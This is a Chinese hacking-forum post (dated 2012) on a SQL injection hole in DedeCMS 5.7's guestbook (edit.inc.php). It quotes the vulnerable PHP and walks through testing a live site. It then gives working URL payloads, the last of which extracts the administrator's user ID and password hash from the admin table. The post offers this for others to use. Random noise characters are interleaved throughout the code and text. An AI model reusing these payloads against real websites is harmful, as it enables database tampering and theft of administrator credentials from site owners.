找回密码
 立即注册
查看: 4792|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
7 B* z! C1 `0 A5 S5 [: R
! |6 r4 G+ u- G漏洞文件edit.inc.php具体代码:
6 U  {+ @' b4 N# i. x' X
6 X$ e. Z0 X" _. q5 s4 I- m< ?php  + t& y7 m5 M* M: }) F( ]: l

% K4 _& ?+ _' C2 e4 Bif(!defined('DEDEINC')) exit('Request Error!');  " `6 W. Z- M: I: r: H
2 k6 n8 A1 J8 T. z& L0 B& P
   4 @+ K% r! \/ L, m: ?. E

  W. D/ k* G! E: g1 F6 nif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
( Q9 S7 ?- ?& G1 p
+ H0 n$ c8 @  ~! b" v3 delse $GUEST_BOOK_POS = "guestbook.php";    \% W& n5 c. H: y+ h- y7 P

5 a& {# M; N! y0 i/ v4 W: {   
8 e0 Y! D% c1 ]4 G; q# Q" G" E
! j% u8 B; _- ~& `4 h% T* o1 Z# H$id = intval($id);  . R( ]7 M2 R3 s; q
0 E: F3 q- n% I" T0 r
if(empty($job)) $job='view';  
5 u$ Z; J0 `5 q" }4 t9 P
8 p! j0 e: ~* B   
8 \, t1 h8 R% X" G: T0 ~6 ?3 _8 S) A9 G7 g% f
if($job=='del' && $g_isadmin)  7 b9 Z0 g( U7 ~0 R
. p1 Z( H& P8 \# r3 G% c
{  ; w2 `( T0 D( z0 i5 r
& l- K( J" n# A, n6 z6 x( e
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
+ A* D' U" c9 I, D# |* G4 n" v" R9 p
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
, X) W5 N4 x0 x8 F: ?4 A. G, x
+ M/ ~8 O, ]3 ^% p2 ^exit();  
* @% N$ |0 W# N% ~0 w2 I: Z  {5 P+ y+ P0 V5 L
}  $ G' ?4 p8 U, o; G# [
9 T) K3 u7 x2 f3 e/ M/ p
else if($job=='check' && $g_isadmin)  " c' B2 a9 i% [+ A6 a3 q, q& \

' ?; Q- t( p+ a' m8 q{  
9 L1 R/ X( ]% q: A* v. I2 W/ |, f8 A* r: y8 m6 t. T9 Q; B
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  0 t' w( D  @, I( Y. h6 x0 _: d

! u2 o! h' T, D9 n) Y) DShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
1 O: w4 n$ ]. X, u) x$ k# K2 o+ }* ]8 ^) x1 h1 s* l0 v
exit();  ' W# ?) S3 ]1 h- ~7 Q6 u" P
& \2 V$ g7 _; K$ V2 I, X
}  & }3 y8 R1 ~7 y  U8 _" x

, `# ]7 T: S5 i3 }2 ?else if($job=='editok')  7 J& G' p1 c( h. E+ H* D! E& T2 y
% j/ k  u8 f4 ]5 O: t/ U
{  5 G$ @( [% w; U& Q! r1 ?

) `% f* {1 B7 W; m& T$remsg = trim($remsg);  # X5 d/ H' p  P2 W" ?3 ^5 w( ^

& a5 f. K3 ~' @2 Z" G8 V4 k# K' Aif($remsg!='')  5 Q9 Q% g7 V7 F7 `: w

: R' O( X- c6 R0 q" `/ G6 z{  7 S3 X6 c  B. t2 U& c/ R
2 @3 q5 F# z1 ^( `
//管理员回复不过滤HTML By:Errorera blog:errs.cc  " R- o4 f, d& u! n* A0 h+ F

" M3 x; [" S! J) {  z) Yif($g_isadmin)  ; L7 h0 o. z  V
0 `" g: }0 i- t  V
{  3 J6 V+ ~$ p$ O3 T# f. Q

: Q6 g: \: j3 s! _$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  3 j" Y* [( `1 n! F

7 |! s/ g$ e; m5 ~5 X. r//$remsg <br /><font color=red>管理员回复:</font> }  
5 v6 x- q' r* D; O/ K- j
0 k2 O/ I3 ~" h' Velse
; {2 z. u! K$ W: w' k
7 e$ I% e' L. C; I{  ; N! f% ]. Q1 G/ D" n$ p
7 t, j" u6 \' _
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  4 Q" b' m- e; \- U1 k

/ z! @: ]- m5 Y/ e9 ?6 W) R( V$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
! A9 x9 w* }' t9 |: B
' o; |$ y8 @& a& B( b$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
- M" T/ i3 ?2 G# b7 k* u% P! q, q1 I8 `+ f9 N, N2 v
$msg = $oldmsg.$remsg;  
# g6 i3 s) J/ ~7 ~1 n* S+ U0 [1 ?
}  
5 l) b6 A7 e9 B5 l# G1 K) n* ?* q
# O* ^, O' j, F7 [) m* J}  9 W% D( Z8 x  C2 E7 G' @7 L0 a

$ y9 F2 r2 E! ^5 `1 W//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
. w' B( Y) M9 |# w/ ^. X
: n6 T. S) ^  H7 O0 z$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  # J. ?7 O# ?) f0 t" Z& v
4 |) i9 ]9 t5 W" c/ e' l9 i
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
) D6 `4 k/ z5 B  y) N) `% X* ^4 @- ~8 _. {) i( v. p0 S
exit();  
3 W" D& x" L; `0 H5 D: J1 _
4 e6 o5 R2 n4 U: t5 H}  1 `. A  i3 B; w$ J: Z
: }+ ]: u* ^% z# ?! ?, B, L
//home:www.errs.cc  
' E& g& x# u6 i/ I, ]. M+ e6 ~/ S4 b+ Q# }$ `
if($g_isadmin)  
! r* i/ d7 ~0 t: z* h, C' i3 B: F7 j
{  ) ?, g" V8 [) U* m+ f8 D

0 h8 x$ y! R6 v. z$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  ( ~) ^2 O8 B* t* [6 W

5 C) [0 n% s% {/ Grequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
2 W0 n$ D7 ]+ a; A0 G: e  g. J1 `; F5 |) e+ V9 r# F
}  
# o9 b0 |0 @+ c/ d
2 X1 q: [4 w0 H% Y& M- uelse
# g9 N+ G: G; t5 `' {  p4 K* f7 }$ X# X9 |
{  + P* q4 w6 @, n6 `" W: X  e
  W1 {5 \0 q5 P: ~& k; b, R
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
5 l  \- C) x3 c% P0 s* S( F  Q% N" T. I3 E( O
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  7 D) M2 w: v& Y( }4 c  U

$ E7 m5 G$ B" X' V2 l} 漏洞成功需要条件:: s# _( _1 c. q( J; A
1. php magic_quotes_gpc=off- M  u7 o3 n1 d
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
9 Y2 J! B3 T" u$ E" x- y) }5 z' O2 N. |9 i8 r8 P) d6 ^
怎么判断是否存在漏洞:
1 G, P" ?! r  C先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,6 I7 `: ^& t7 v
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
1 T9 b3 ^+ \& K访问:
" R/ y+ C- r" Q! `% S$ v- }/ Y- W+ x5 H6 [8 ~
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了3 z3 v# i5 L! J' V" g6 _
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证2 n! a5 K) @1 ]2 Q; d) }; _  G
* v8 g# d! N- J- \# _* Z  _  p) R
& J& B7 {7 S+ T  @; n; Y
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
4 W) z( r# y* v  x- R- `5 Z如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。& Y0 W; i" [6 [8 g+ F7 D
那么再次访问* C8 Z4 t) g( X& ]
) l) T! K: k; v1 b
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
: @2 c3 a- T' |7 \- A7 M
3 P3 K+ y+ U" G% a# P: z大概利用就是这样,大家有兴趣的多研究下!!
# g5 P2 _9 O* j3 x) I" \
; E- ~# p/ ]7 I% |4 M2 |, t0 s最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
9 ]9 O8 i- \  f- r  Y* n  t4 h6 N# _+ W1 t) r( K
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表